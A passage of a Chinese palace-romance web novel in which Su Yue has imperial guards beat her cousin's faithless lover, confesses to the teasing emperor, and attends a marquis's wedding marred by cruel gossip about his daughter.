更?别说揍人了?。”横肉满脸的五官,努力挤出了?和善的笑, “尤其末将知道,大娘子与陛下是自己人,陛下的禁卫, 不就是大娘子的禁卫吗。您放心, 日后有差遣, 压根不用出示陛下私印,末将等?只要认准大娘子这个人,准错不了?。” 苏月头一回体验到了?特权的快乐, 难怪天下人都想做皇帝,做了?皇帝就是好?, 只要一声令下,就有人为你肝脑涂地。自己拐着几个弯呢,都能沾上这样的光,好?像这上都,也没有初来时候这么?让人难以适应了?。 反正就是典型的没良心,要是让乾阳殿里那人知道,选郎子嫌弃他?不够成熟稳重,利用起他?的权力来得心应手,肯定会阴阳怪气嘲讽她一通。不过现在不是考虑这些的时候,她一心只想找白溪石讨公道,苏意?就算再不成器,女郎莫名其妙怀了?孩子,得不到应有的关心和照应,就是这个闯祸的男子该死。 因此马车到了?廪牺署门前,她从车上下来直接闯入了?官署。白溪石这时正与手下商议公务,见?她带着一帮缇骑冲进衙门,不由有些慌张。 “辜娘子怎么?来了??” 苏月没有应他?,对副尉使了?个眼?色,一众缇骑如老鹰捉小鸡一样,抓住白溪石的衣领拖到院子里,然后摆开阵仗一通狠揍,揍得白溪石鼻青脸肿,哭爹喊娘。 廪牺署的属官都吓坏了?,谁也不敢上前劝阻,毕竟打人的是缇骑,就算不问情由,也一定师出有名。他?们唯一能做的,就是在上司挨完揍后,壮着胆子过去搀扶。白令给打得找不着北了?,站也站不住,顺势就要往下出溜。左右得用力架住,才能避免他?瘫倒在地。 苏月看?着这面目全非的伪君子,终于觉得出了?口?恶气,这回不单是为苏意?,更?是为了?刘善质,和一众被他?欺骗过的女郎。和这种人打交道,就得先?狠狠捶上一顿,捶掉他?身上的油滑,他?才能老老实实和你说话。 “白令可是觉得我很好?糊弄?我领教?过你的巧言令色,上次也同你说过,你要是不守信用,我定会收拾你。三日了?,你递交太常寺的文书在哪里,为什么?半点踪迹也没有?苏意?等?了?你三日,日日心事重重,今早出门摔了?一跤,把孩子摔没了?,你说,你接下来打算怎么?办?” 白溪石那肿成了?一道缝的眼?睛,在听说苏意?小产之后,猛然睁大了?一分,连咳带喘地说:“我不知道会这样……我只是忙,一时没抽出空送过去……文书我已经写好?了?,真的。” 苏月哼了?声,“你不是忙,你是下不了?决心,想再拖延一阵子,看?看?我们有什么?办法能对付你。这下好?了?,如你所愿,你还犹豫吗?白令,做人要懂得审时度势,你都给贬到廪牺署来了?,再也没有欺凌乐工的机会了?,仍旧不收心,难道等?着冯大人给你官复原职吗?你看?看?,我们原本可都是老实纯良的女郎,被你逼到这个份上,都是你的错。如今你到底打算怎么?选,是宁死也不愿意?给苏意?一个说法吗?既然这样,那我就把你扭送到大都府去,告你个□□乐工的罪,让你这辈子都翻不了?身。” 一旁的缇骑们到这时才明白其中缘故,副尉叫嚣起来,“好?个牲口?,竟这么?不要脸!大娘子要是早说,咱们不拆掉他?几根骨头,便宜了?他?。您说吧,要不要让他?后悔来了?世上一遭,若要,我们现在就把他?变成母的。也别去大都府了?,直接把他?扔进蛮子营,让他?拿后半截来赎罪吧。” 这个好?主意?,成功把白溪石吓傻了?,他?声嘶力竭说不,“辜娘子,我错了?,我不该三心二意?,不该拖延时间……你再给我一次机会,我一定改过,一定八抬大轿迎娶苏意?,给她一个正经的名分。” 苏月听完笑了?,“看?来不挨一回揍,你就闹不清自己在想些什么?。白令,我是个得势便猖狂的人,不单现在看?着你,日后也会看?着你。你要是对苏意?再做出任何不公的事来,我还让人打你,你听明白我的话了?吗?” 白溪石已经不想再反抗了?,颓然点头,唯唯诺诺地说:“听明白了。” 听明白了?就好?,苏月便不再和他?啰嗦了?,转身走出了?廪牺署的大门。 副尉啧啧,“这样的人,还要来做什么?,嫁个贩夫走卒都比嫁这种人强。” 苏月叹了?口?气,“愿打愿挨,我也做不了主。” 副尉沉重地点了?点脑袋,提醒她眼下有要紧的问题亟待解决,“今日教?训了?渣滓,虽然很解气,但大娘子别忘了?他?是朝廷命官,身上还有品阶。在还未定罪的情况下,我们滥用私刑揍了?他?,要是被人参到陛下面前,恐怕陛下不知内情,会误会了大娘子。与其让人背后上奏,不如主动向陛下说明情由。我等是不值一提的人,只要陛下这回不怪罪,往后我们听从大娘子差遣,哪怕理不直,气也壮。” 这个道理?苏月是明白的,白溪石原先?是四品的少卿,被扔到廪牺署做了?令,官降一级,却也降得有限。他?们这群人气势汹汹赶到官衙,二话不说狠狠把他?揍了?一顿,未必不会激发出御史的兴趣,明日早朝弹劾她一通。自己破格做了?梨园使,毕竟有权无名,上不了?朝堂,无法为自己申辩。要是提前去面圣,把事情的前因后果?都说明白,那么?就算闹上朝堂,皇帝陛下也会为她开脱的。 打定了?主意?就实行,苏月道:“副尉说得很是,等?我把手上的事处置好?,便即刻入宫面见?陛下。” 马车急急赶回圆璧城,回去先?见?了?苏意?,对那个躺在床上心灰意?冷的人说:“已经和他?商定了?,他?会尽快向太常寺递文书的。” 苏意?惨然望着她,“有孩子作为底气,他?尚且推脱,这回连孩子都没了?,他?真能答应吗?” 苏月道:“他?若是不答应,我过两日再去找他?。到时候你就别指望和他?有结果?了?,这人不想娶你,你强嫁也没有意?思。” 苏意?仰在枕上,目光空洞地点了?点头,“我有时候想,是不是自己过于强求了?,害人害己。” 苏月心道这只是你偶尔的清醒,等?过了?一炷香时间,你就又发癔症了?。 果?然料得没错,甚至还没用上一炷香,苏意?就已经想开了?,“大概这就是我的劫数吧,老天注定的姻缘,没有半分退路。” 苏月忍不住撇嘴,老天爷得有多闲,才来管你们这些乱七八糟的破事。自己是没有办法,才被逼着掺合进来,要是能够,这个堂妹她都不想要了?,赶快收拾起来,把她扔出去吧。 “总之你先?养身子。”她糟心地别开了?脸。 肚子还没显的时候,遮掩遮掩没人知道她怀了?孩子,结果?现在一小产,纸还包得住火吗?这个苏意?,总有本事让一切一败涂地,自己是不能再面对她了?,多看?一眼?,都有被气晕过去的可能。 转身走出小和春,看?看?时辰,她该去领罪了?。穿过长廊的时候,闻见?隐约飘来的烤饼香气,知道厨上又有新?饼子出炉,便去包上一份带着。礼多人不怪,空手认错有被骂的可能,拿吃的堵住他?的嘴,他?就顾不上了?。 回到官舍,七拐八弯找到那道小门,钥匙她是随身携带的,倒出来就能开门。迈上巷道后,回身再把门插上,这南北笔直的路,两侧虽有高墙壁立,但走在里头不担心中途遇上人盘问,实在省心省力。 只不过盛夏炎炎,日头照在身上发烫,她得尽量挨着西边的墙根儿?走,才能走在阴凉底下。等?南北直道走至尽头,左转进入陶光园后夹道,往南一转就是徽猷殿了?。 她从小宫门上突兀地蹦出来,吓了?值守的内侍一跳,两眼?怔怔地望着她。 她温和地笑了?笑,“中贵人,吃饭了?么??” 内侍又怔怔点头,“娘子吃了?吗?” 苏月说吃了?,掖着手道:“我来向陛下问安,走得匆忙,还没通禀……陛下在徽猷殿吗?” 宫中办差的都是人精,他?们深知道这位娘子与陛下的渊源,哪个也不能为难她,忙道:“今日安西大都护应召入京,陛下恐怕正忙政事。要不娘子直去乾阳殿吧,奴婢找人送娘子过去。” 苏月道好?,跟着去了?乾阳殿。那地方是皇帝专用以务政的地方,比之后面的徽猷殿要庄严许多。上回来时,是淮州在廊上接应,这回多出了?许多生面孔,看?上去都是颇有品级的内监,站在那里冷眉冷眼?,像庙里的四大天王。 好?在再威严的人,也讲人情,看?见?她身上的公服,那些大内侍便知道她的来历了?,领头那个上前来行礼如仪,“娘子安好?,卑下万里,是乾阳殿内侍总管。娘子可是来求见?陛下的?陛下这会儿?正忙,且在偏殿稍待片刻,等?……” 话还没说完,就见?两个禁卫拖拽着一个身着铠甲的人从大殿里出来,那人一脸激愤,高声申辩着:“陛下,臣对陛下赤胆忠贞,苍天可见?……” 可惜没有机会多言,很快便被强行押走了?,紧接着传来杯盏砸碎的声响,“哐”地一声,吓得廊上的内侍脸色发白,纷纷垂手退到了?一旁。 苏月心头也直蹦跶,平时的权大看?上去极好?说话,让她忘了?他?是皇帝。乾阳殿是他?驾驭天下的场所,自己到这儿?求见?,是不是来错了??早知道就该夜里去徽猷殿,人越少,越好?商谈。怪自己太心急,正撞上他?大发雷霆的时候,这下子可完了?,别不会给自己招来麻烦吧! 她胡思乱想,侍立的内侍也不敢出声,只是一味向她比手,把她引入了?偏殿。 苏月拘谨地坐下,膝头上放着油纸包,炉饼的热量源源烘灼着皮肉,好?像也感?觉不到烫了?。隔壁大殿里说话的声音忽高忽低地传来,全是要紧的国家大事。她虽听不太懂,但知道皇帝正与臣工力争,要不顾礼法,打破那些千百年来的痼疾。 一个王朝,有不畏强权不惧生死的臣子,才是盛世的象征。皇帝震怒之下,又有人丢官罢爵了?,但这回不需要人动手,一个两鬓已有霜色的朱衣大臣脱帽跣足,大步流星从殿里走出来,连头都没回一下,昂首挺胸往宫门上去了?。 苏月抚抚胸,心想吵得不可开交啊,自己就别往枪头上撞了?吧!于是站起身,对边上的大内侍道:“万总管,我也没有太过要紧的事,陛下正忙,我就不叨扰了?,下次再来好?了?。” 可她要走,万里却不让,“娘子前来谒见?,自有御前的人进去通传。陛下已经知道娘子到访了?,您来了?又走,不与陛下请安,卑下等?不好?交代。” 没有办法,她只好?硬着头皮又坐回去,两眼?茫然望向殿外?潇潇的天,心惊胆战等?待召见?。 正殿里君臣的博弈持续了?很久,苏月觉得每一刻都极其漫长。她自小是在温软的环境里长大,阿爹鲜少有发脾气的时候,听见?权大严厉的口?吻与嗓门,她就觉得自己死了?半截。 现在细想想,得罪过太后和皇帝,居然还能无惊无险活到现在,何尝不是老天眷顾。若是照着常理?,开国的皇帝哪有时间与你温情小意?,逮住了?扔上床临幸,然后又丢到一旁弃如敝履。一个没有足够手段笼络君王的笨丫头,必定凄凄惨惨度过余生,哪能穿上定制的公服执掌梨园,在这煌煌的紫微城中任意?来去。 手指扣着油纸包上的细麻绳,简直忍不住要向天参拜,感?谢自己一切安好?,家 人在姑苏也都安好?。正唏嘘的当口?,见?正殿里有人出来,官员们沉默着,低头走过了?廊庑。 苏月打直脊背,料想皇帝陛下快要召见?她了?。可是等?了?良久,隔壁一点动静都没有,连国用和淮州都未出现。 她不由彷徨,迟迟望向万里,万里示意?她稍安勿躁,自己悄悄上正殿外?看?了?一眼?,回来后默然摇头,让她继续等?着。 苏月偏头盯着案上的线香,整支都烧完了?,又过一会儿?,才见?国用从门上进来。 她心有戚戚,压声道:“班领,要不我回去吧,今日不宜面圣。” 国用眨了?眨眼?,“黄历上写着诸事大吉呢,娘子快随我来吧……油纸包儿?里装的什么??别忘了?带上。” 苏月只得咬牙跟国用进了?正殿,正殿幽深,两侧立着一对祥云香筒,正缓缓散发稀薄的烟雾。皇帝坐在案后,垂眼?肃容翻看?奏疏,就算听见?脚步声,也没有抬一下眼?。 苏月瞅瞅国用,不知如何是好?。 国用右手藏在左袖底下,挤眉弄眼?朝上指了?指。 伸头一刀,缩头也是一刀,她吸口?气壮起胆,亮嗓唤了?声“陛下”。 不知是不是因为太久没发声的缘故,她拿捏语调出了?点偏差,那一声听上去像猫叫似的,居然有股娇嗔的味道。 皇帝翻奏疏的手顿了?顿,终于慢慢抬起眼?。然后视线往下一转,落在她手上,启唇问:“带的什么??是吃的吗?” 这个问题问得妙,把一切不安都化?解了?。苏月从来没有如此庆幸自己懂得人情世故,小小的一个伴手礼,能帮她捡回半条老命。 忙说是,蹀躞着小步上前,把油纸包提溜起来晃了?晃,“刚出炉的云头饼,卑下来时想着给您带一些。不过好?像时候太长了?,已经不怎么?暖和了?……” 皇帝把案上摊得到处都是的奏疏往边上推了?推,腾出地方让她摆放,蹙着眉嘀咕:“骂了?半日,肚子都饿了?。” 苏月说正好?充饥,展开油纸包,把饼子送到他?身前。内侍预备的饮子也送来了?,同来的糕点没有了?用武之地,又给悄悄撤了?下去。 他?低着头慢慢地吃,看?上去还是气鼓鼓地。苏月便把饮子往前推了?推,“喝口?茶,别噎着。” 皇帝看?看?她,复又叹了?口?气。 苏月道:“您今日气大发了?,卑下站在这里有些害怕,要不我先?回去吧。” 能在陛下气头上添柴火,根本就是恃宠而娇啊。边上侍立的人额头冒汗,眼?皮直蹦跶,不想陛下似乎早就习惯了?,反倒安抚了?她一句,“帝王威严用以震慑臣工,和你没什么?关系,你有什么?可怕的。” 苏月试探着问:“那您为何隔了?那么?久才召见?卑下?卑下以为您不想见?我,恨我来得不是时候。” 对于皇帝来说,她哪时出现都是好?时机,就没有不好?一说。 一个饼子吃完了?,他?抿了?两口?茶,这时也有心情挤兑她了?,没好?气地说:“立时召见?你,火气还没散,你来必定没好?事,难道上赶着挨骂?” 所以陛下真是太为她考虑了?,苏月竟有些感?动。心情不好?自己消化?,天底下哪来这样的有道明君! 于是谄媚地笑了?笑,“今日发生了?一些小事,迫不及待想与陛下分享一下。”边说边又取了?个饼子送上前,“再来一个吗?” 皇帝摇了?摇头,“梨园的饼真难吃,朕咽不下去了?。” 苏月忙道:“那下回卑下亲手给您烤,杨花参饼,夹一寸厚的肉馅儿?,成吗?” 皇帝便有点高兴了?,“果?然还是辜娘子深得朕心。” 真的,陛下说出这番话,两掖站班的内侍都快哭了?,庆幸还好?有辜娘子,否则他?们这些人不知要提心吊胆多久,出点什么?差错,兴许脑袋就搬家了?。 知情识趣的国用搬来了?杌子,“陛下,小娘子先?前崴了?脚,赏她坐下吧。” 苏月诧异地回头,换来国用小眼?乱眨。 反正这话不论真假,皇帝没有不准的,只是嫌弃地打量她,“平地走路都能崴脚……哪块砖绊了?你,朕让人把它碾平。” 苏月提着袍子坐下来,摆手说没有,“就是天热,脚下糊涂了?。” 皇帝的挑剔更?明显了?,“哪里是脚下糊涂,朕看?你是脑子糊涂。”嘴里说着,要去查看?她的脚踝,“哪只脚扭伤了?,要不要传御医?” 正经的女郎,哪能随便让男子看?脚。苏月往后缩了?缩,“早就不疼了?。”忽然心血来潮问他?,“陛下,是不是因为您家只向我家提过亲,所以您才待我特别好?啊?” 皇帝也没多想,随口?应了?句,“愿得一人心,免得老相亲。朕也没有多喜欢你,只是怕麻烦,如此而已。” 第 46 章【VIP】 第46章 第 46 章 苏月听了, 觉得这人真是讨厌得紧。你可以感受到?他的真心,但你休想从他口中听到?好听话。他就爱执着地嘴硬,装腔作?势, 反正怎么让人讨厌怎么来。 难怪太后?总是长吁短叹, 要不是因为?他当上?了皇帝, 这辈子打?光棍是毋庸置疑了。苏月翕动着嘴唇,无声地唾弃了他一遍, 好在自己没有喜欢上?他,他再怎么讨人嫌, 也不能?伤她半点心。 可他又觉得不对劲了, 侧目审视她,“你嘟嘟囔囔,是不是在说朕坏话?” 苏月说没有, “智者不入爱河, 陛下如此清醒, 颇有君王风范。” 他护住了颜面,内心却开始蠢蠢欲动, “那你呢?你对朕,是不是有些喜欢?” 一旁侍立的人立刻眼观鼻鼻观心,心道天爷, 这是他们?能?听的吗?可惜耳朵关不上?, 辜娘子的回答, 所?有人听得一清二楚。她说:“卑下对陛下只有崇敬,别无其他。” 皇帝的眉毛压下来几分,“就这样?朕对你这么好, 只换来你的崇敬?” 怎么,自己对人家没几分喜欢, 却想换她的“一人心”,世上?的好事全被他占了。 苏月还?记得自己此来的要务,也不管他的百思不得其解,强行收拢了他的注意力,“陛下,我们?还?是来谈谈正事吧!我今日带人把白溪石打?了,特?意进来,和您告罪。” 皇帝以为?自己听错了,“什么,你把白溪石给打?了。” 苏月讪讪说是啊,“打?得挺惨的,鼻青脸肿,眼睛都睁不开了。” 皇帝错愕地望着她,半晌说不出话来。 苏月感觉不太妙,离开杌子站了起来,“卑下还?是站着回话吧……我知道他是朝廷命官,不能?随意殴打?,但他实在太恶劣,不打?他,难解我心头之?恨。” 皇帝简直恨铁不成钢,在苏月以为?他要痛斥她之?际,气闷地说:“打?人不打?脸,打?脸会留下罪证,这点你不知道吗?要解气,须得往看?不见的地方使劲,让他受内伤,有苦说不出才好。是谁帮你下的手,如此外行?” 边上?的国用呆滞地觑觑苏月,先前还?担心陛下会不高兴,没想到?又多虑了,这个走向,才是情理之?外,意料之?中。 苏月的嘴不够严,很?快就把同伙供了出来,“是龙光门上?的缇骑,我拿着您给的章子调兵遣将,把他们?说动了。” 皇帝扶住额,“朕就知道,这枚印章迟早会惹出祸端来。” 苏月下意识捂住了荷包,“送了人的东西可不能?再要回去,陛下金口玉言,最忌出尔反尔。” 皇帝冷冷凝视她,“朕就想问问,为?何你的胆子这么大,连缇骑都敢调动。他们?是朕的禁卫,你不知道吗?” 苏月支吾道:“所?以我才动用了那枚章子,否则没有帮手,打?不了他。副尉也说了,说卑下和您是自己人,帮我诚如听了陛下的令,我觉得他说得挺好的。” 皇帝斟酌了下,也就不那么生气了,“确实很?有见解,可见动过脑子了。不过脑子虽有,经验却奇差,缇骑竟不知道打?人的诀窍,实在令朕大失所?望。” 苏月忙替他们?辩解,“是卑下要他们?揍脸的,谁让他仗着皮囊骗人。” 皇帝不由叹息,“一时解气,明?日就有言官弹劾你了,你等着吧。” 苏月的气焰顿时矮了几分,“陛下会保我的吧?” 皇帝白了她一眼,“朕不保你,你就该撤职查办了。” 有他这句话,苏月就放心了,重又坐回杌子上?道:“卑下这么干是事出有因,前几日他答应即刻向太常寺递交文书的,结果说话不算话。苏意等得着急,今早摔了一跤,把孩子摔没了。换了谁能?忍受这奇耻大辱,我不收拾他,还?等什么?” 原来是真的事出有因,皇帝听后?觉得她办得对,甚至还?打?轻了。 “你确实需要人手,以备不时之?需,朕什么都想到?了,怎么偏偏漏了这个。朕问你,那几个缇骑用起来可顺手?若是不顺手,朕从南边给你调几个好的过去。” 苏月受宠若惊,“这怎么好意思,就这几个,卑下已经十分满意了。” 听得国用无话可说,彻底宾服了。 瞧见没有,这就是肆无忌惮的偏爱。先前对付臣僚的雷霆手段,在见到?辜娘子之?后?荡然无存,什么都可以包庇,什么都可以周全,连她要打?人,都要先替她准备好人手。 可明?明?那么喜欢,嘴上?却又不服软。作?为?太后?安插在御前的耳报神,国用已经开始发?愁该怎么向太后?回禀,送到?嘴边的情话,又一次被陛下搞砸了。 苏月呢,自己的事圆满解决后?,就有闲心同他打探先前的变故了,“陛下刚才为?什么生了好大的气?一个被查办,一个摘了乌纱,御史台的人今晚八成睡不好觉了。” 皇帝沉默片刻,抬眼瞥了下国用。国用如梦初醒,忙两手一招,把侍立的人都遣出去了。 没有外人在场,话说起来就不必顾忌了,皇帝道:“朕要整顿军务,几大都护府拥兵自重,朝廷鞭长莫及,若有异动,难以辖制。先前的安西大都护,是朕的心腹,联起手来演一出戏,是为?打?开口子,让朕能?安插亲信入北庭蒙池,检验一下几大都护的忠心。” 苏月恍然大悟,想了想又问:“戏好演,如何收场呢,陛下自己又想通了,很?没面子吧。” 皇帝乜了乜她,“所以你立功的机会又来了,朕会让人记录在册,梨园使冒死谏言,保下了安西大都护。” 苏月啊了声,“又涨功德了……” 皇帝说:“朕总得有个台阶下,待各大都护府都安插上了可堪信任的人,就可以收网放人了。” 苏月点了点头,“那光脚走出去的那位大人呢?他也是陛下的苦肉计吗?” 皇帝提起那人,脸色就不豫,“文臣死谏,武将死战,此乃国之?大幸。但若是有个日日以反你为?己任,不问是否利国利民,以为?只要令君王不快,就能?彰显忠贞的臣僚在,那这朝堂就做不到?君臣一心。毕竟总会有几个糊涂虫被鼓动,跟着一起叫嚣,三人成虎,其势不可挡。但你若问他们?有何高见,没有高见,与众人相悖就是风骨。这样的人留着,除了添堵一无是处,早早辞官,反而是他的保命之?道,朕绝不相留。” 苏月顿感遗憾,原本?以为自己又可以记上一笔,到?最后?不说功高盖主,至少也是不可多得的忠良。但现在那位一身反骨的大人把皇帝陛下得罪透了,重返朝堂是不可能?了,她只好退而求其次,“那就给他些赏赐,让他回乡养老吧,也好彰显陛下宽宏大量,不念旧恶。” 皇帝的目光中多了几分赞许,“辜娘子真是位仁厚的女郎啊,回头让人记上?一笔,就按着你的谏言,给他些优恤。” 今天又是满载而归的一天,自己的麻烦化解了,还?攒下不少功德,长此以往,怕要配享太庙。 越想越高兴,她松快地说:“过几日就是中秋了,梨园排演了不同于以往的曲目和舞蹈,到?时候一定让陛下刮目相看?。好了,卑下要告退了,八月十五再见。” 她福福身?就要走,皇帝不悦道:“朕还?没发?话呢,你当这乾阳殿是什么地方,想来就来,想走就走?朕问你,你打?人的这件事,就算处置妥当了?” 苏月心道果然是高估他的心胸了,今天又找他走了后?门,他岂能?平白放过这个攒钱的好机会。自己已经有两枚铜钱落进他手里?了,十枚攒起来很?快,攒满之?后?会发?生什么,不太敢想。 她不想掏,可不掏好像又不行,下次再有事相求,肯定不灵验了。 犹犹豫豫翻出一枚,紧紧捏在指尖,她说:“白溪石那件事,不能?怪我……” 她给得十分不情愿,以至于皇帝要拔那枚钱,还?得费九牛二虎之?力。 “不怪你,你把人揍得满脸花?有何冤屈大可告到?大都府,或是具表上?奏,不能?滥用私刑。”皇帝咬着牙,终于把那枚钱拔了出来,发?狠地握进手里?,“朕告诉你,这是你们?的私怨,私怨动用公器是重罪。你在朕面前公私不分,朕都包涵了,可你不知感恩,那就是错上?加错,要被削职,关回好望山的,知道吗?” 苏月不敢再反抗了,垂头丧气说:“卑下知罪了。” 皇帝哼了声,“知罪就好,明?明?可以钱货两讫,何必欠朕人情。这世上?人情可是最难还?的,望小娘子谨记在心。” 苏月唯唯诺诺,看?着他抽开抽屉,当着她的面把铜钱投进了锦盒里?,然后?转头冲她笑了笑,“还?差七枚,朕就可以向你提要求了。” 不知为?什么,苏月觉得他的目光隐隐透出一种如饥似渴的味道,每一次瞧她,都是一副淫心欲动的样子。 她咽了口唾沫,不自觉地想捂领口。再定睛看?他,其实是自己想多了,那目光分明?充满不遮不掩的促狭和算计。她有些讪讪,临走前又再三向他重申:“得是光明?正大的要求啊,不能?违背女郎的意愿,更不能?作?非分之?想。” 皇帝朝她一哂,“欠了一屁股债,到?了还?债的时候还?想约法三章,天下竟有这样的稀奇事。” 苏月没理睬他,乘着夕阳,顺着来时的路,重又回到?了梨园。 果真直接动手,事半功倍,磨磨蹭蹭的白溪石,当日就让人把文书送到?了太常寺。官员要迎娶梨园乐工,还?是有一定优待的,只要乐工本?人答应,基本?没有办不成的。 于是第二日,白溪石就亲自来接苏意了,身?体还?很?虚弱的苏意原本?很?高兴,但一见到?情郎鼻塌嘴歪的样子,顿时就激愤起来,“怎的弄成了这样?”脑子转得飞快,立刻明?白了其中原委,回头怨怪苏月,“阿姐下手也太狠了,险些把人打?死。” 苏月蹙眉,“不打?成这样,你以为?他会来接你?你要是改了主意,只要一句话,他立刻调头就走,你信么?”不过这瘟神是一定要想办法送走的,于是又转变了话风,好言好语道,“伤了点皮肉而已,回去养一养就好了。你且跟他去吧,催促他快些准备婚事,再往姑苏家里?送封信。三叔和阿婶知道你给自己找了个做官的郎子,一定会为?你高兴的。” 苏意听后?便不再抱怨了,小心翼翼登上?马车。还?算有良心,临走的时候透过花窗同她道别,“阿姐,我走了。” 苏月点头不迭,“在人家家中,一定要好生照顾自己。盼你们?和乐美满,早日成婚。” 扬手挥动,边挥边感慨,终于,终于甩掉这个累赘了。自己在上?都确实只有这么一个至亲,但这位至亲有也诚如没有。现在脱离梨园跟了白溪石,白溪石好歹还?有官职在身?,抛却人品不谈,已经是上?佳的姻缘了。 这厢的事情办好了,接下来只需操心梨园的事务。有时一些高门显贵家中有宴请,会点名要苏月一同前往,并不为?让她登台,只是单纯想结交她,谁让她在陛下跟前面子如此之?大。 那些乱七八糟的传言无法禁止,她和权家大郎捆绑日深,甚至听见个小道消息,说陛下至今不立皇后?,不选妃嫔,都是为?了她。苏月有时候想,自己这辈子怕是完了,就算想嫁别人,也没人敢娶她。 唉,走一步算一步吧!她如今只有一个念想,先把梨园经营好,今年年下想个办法回一趟姑苏,见一见阔别已久的家人。 前景还?是美好的,至少如今的梨园已经很?让人满意了。没有了笼罩在头顶的阴霾,乐工们?也能?得见天光,就算去私宅献演,也不再感觉为?难了。 苏月作?为?梨园使,不像太乐丞那样,经常需要跟着前头人的队伍跑。邀约很?多,她也不是家家都去,只有推脱不过时才充当押队的重任,陪同乐工们?一同前往。 这日代侯的儿子娶亲,前一日收到?了代侯夫人的请帖,侯夫人亲自登门拜访,拉着苏月的手说:“咱们?早前,可都是姑苏的同乡啊。我家住在城北,是权家族亲,陛下得唤我们?侯爷一声堂叔。当初我们?与太后?来往多,太后?托付的媒妈妈,还?是我替她请来的呢。” 苏月只能?干笑,不知该说什么好。代侯夫人也不需要她多言,一再相邀,“家中有喜事,可一定得来啊。太后?与陛下在宫中,不便走动,娘子莅临,也是我们?的荣耀。” 仿佛在这些人眼里?,她和宫中的人就是一家,只要她到?,也挣足面子了。 无论如何推脱不得,苏月只好接下邀约,又开始发?愁,专程来下帖,不需要随礼吧!上?都每日宴请那么多,自己的俸禄哪够随礼,了不起到?时弹上?一曲作?为?敬贺,就已经很?够意思了。 于是当日依约前往,她的出席,让乐工们?得到?了空前的恩赏。以前至多一人一贯大钱,这次却各自得了二两银子,拿小小的红布兜装着,由侯夫人亲自送到?手上?。 侯夫人说:“如今梨园不同了,瞧着辜娘子,我们?也不能?慢待乐师们?。这大热的天,乐师们?辛苦,拿着钱买茶喝,等将来孙儿落地,还?要请乐师们?来贺百日呢。” 得了重赏,礼乐演奏自然更卖力,代侯府在梨园应邀的名单上?,名次往前提了好几档。 不过喜宴上?也出了点意外,新人拜天地的时候,不知从哪里?闯出个年轻的女郎,打?扮很?光鲜,眼神却懵懂呆滞,在礼堂上?乱转。 观礼的宾客窃窃私议,家主慌忙让人把她带下去,后?来才知道那是代侯家的女儿,据说以前很?正常,前阵子不知怎么疯了。代侯夫妇已经尽可能?把她藏起来,免于在外人面前出现,可今天人多事杂,下人看?管不力让她跑出来,好好的喜宴被搅乱了。代侯夫妇的情绪有些低落,但仍是勉力打?起精神,殷勤地招呼应邀的宾客们?。 可惜世上?总不乏伪善的好人,看?热闹不嫌事大,不遗余力地揭人伤疤。她们?执拗地将代侯夫人拽到?一旁,一副掏心挖肺的样子,压声道:“四娘的病症,怎么到?如今还?是不见好转?照理说上?都有最好的医官,合该减轻些了才是。” 代侯夫人很?尴尬,显然不想谈及这件事,硬挤出笑容道:“其实已经好多了,不过今日热闹,她想出来看?看?罢了。” 有人长叹,“好好的女郎,弄成这样,定要抓住那个罪魁祸首。” 代侯夫人的脸色就不太好了,又不能?得罪宾客,按捺住了解释:“她是娘胎里?带的症候,她生母娘家也有这样的亲戚。” 可那些人压根不信,“你也不必遮掩,咱们?都是自己人,难道还?笑话你们?不成。分明?是去庙里?还?愿,遇见了歹人,哪里?出的事,回来人给糟践成了什么样,我们?都知道。” 代侯夫人急起来,“没有的事,都是讹传,千万不能?轻信。” 劝慰的人还?在劝慰,“且再忍忍,总有天亮的时候。报到?大都府,让府尹彻查,还?四娘一个公道。” 代侯夫人辩解不及,几乎要哭了,“你们?何故非说四娘遭人侵犯了?孩子不过是病了,只是病了而已,并未受人凌辱,她是清白的。” 可那些人反倒对她生出了埋怨,阴阳怪气道:“做父母的,一味保全脸面,让孩子打?落牙齿和血吞,怎么对得起她一声爹娘。今日二郎成婚,再看?看?四娘,这辈子都葬送了,你不能?因她不是你生的,就不拿她放在心上?。唉,孩子多可怜,连父母都不为?她主持公道,她还?有什么指望。” 代侯夫人百口莫辩,站在那里?欲哭无泪。正义之?士对她进行了一番抨击,发?泄了她们?心中的不满,然后?摇着脑袋,愤慨地转身?走开了。 代侯夫人眼圈发?红,浑身?打?颤,平息了半天转头看?见苏月,哽声道:“我家孩子是真的病了,没有被人凌辱,可任我们?怎么解释,都没有人相信。她们?说,若果真清白,就找太医院的御医来验身?。孩子已经病成这样,还?要受这等侮辱,我们?做错了什么要给孩子验身?,来向这些八竿子打?不着的人自证清白!” 苏月旁听了半天,也深感无力,“自证后?会有新的传闻,说贵府上?买通了御医,想堵悠悠众口。人之?执念极难扭转,尤其是恶念,越想凸显自己过得好,越要夸大别人的苦难。” 代侯夫人听了,低头长叹了口气,待平稳住心绪,才发?现这件糟心事占据了太多时间,忙重新振作?起来招呼苏月,“我太失礼了,让娘子闲站了半日。娘子快随我入席吧,东院里?都是权家人,我引娘子,见见族亲们?。” 第 47 章【VIP】 第47章 第 47 章 苏月连忙摆手说不必, “我?还要看管乐工们,抽不出身,今日就不见了。等来日……来日有机会, 再一一拜会贵人们。” 她嘴里说着, 就想脱身, 却被代侯夫人一把拽住了,“娘子不必自谦, 都是家里的亲眷,又不是外人。你如今不是掌管着梨园吗, 大家府中有宴饮, 都得麻烦你呢。不为旁的,就为着你是梨园使,先混个脸熟, 往后办起事来也好回旋。小娘子, 人脉可是很要紧的哟, 在这上都城中要走得长远,都得靠亲朋照应。见见又不吃亏, 何故要推脱呢,什么都别说了,快随我?来吧。” 毕竟代侯夫人身上承担着重任, 操办喜事之前进宫面见太?后, 太?后特意叮嘱了, 抓住机会,一定要将辜娘子引荐给?家里的族亲们。 当朝的太?后不是个守旧的人,她并?不在乎辜家曾经拒过他家的婚。此一时彼一时, 当权力达到了顶峰,仍旧对?这位女郎不离不弃, 这就叫念旧,叫心念如一。 况且女郎已?经被提拔做了梨园使,名副其实的皇后备选,族中的人若不相识,往后大水冲了龙王庙怎么办? 当然,其中内情是不能说的,脸面还得顾全顾全。所以一切都归为代侯夫人的主张,是她太?会审时度势,太?懂得和?未来的皇后打好交道了。 苏月没有办法,到底被强拽着去?了东院。皇亲国戚云集的场所,与那些臣僚远亲的席面不一样,这里清幽雅致,没有高声?的喧哗。虽说权家人发迹前都不显赫,但很奇怪,就是有种天?然的优雅在身上,仿佛是为了权倾天?下而?生的。 代侯夫人笑着向众人引荐,“这位是新晋的梨园使,咱们姑苏的同乡,升平街辜员外家的女郎,大家可都认得?今日被我?请来,率领乐师为二郎的婚宴奏乐,眼下正得闲,带她与大家见见面。” 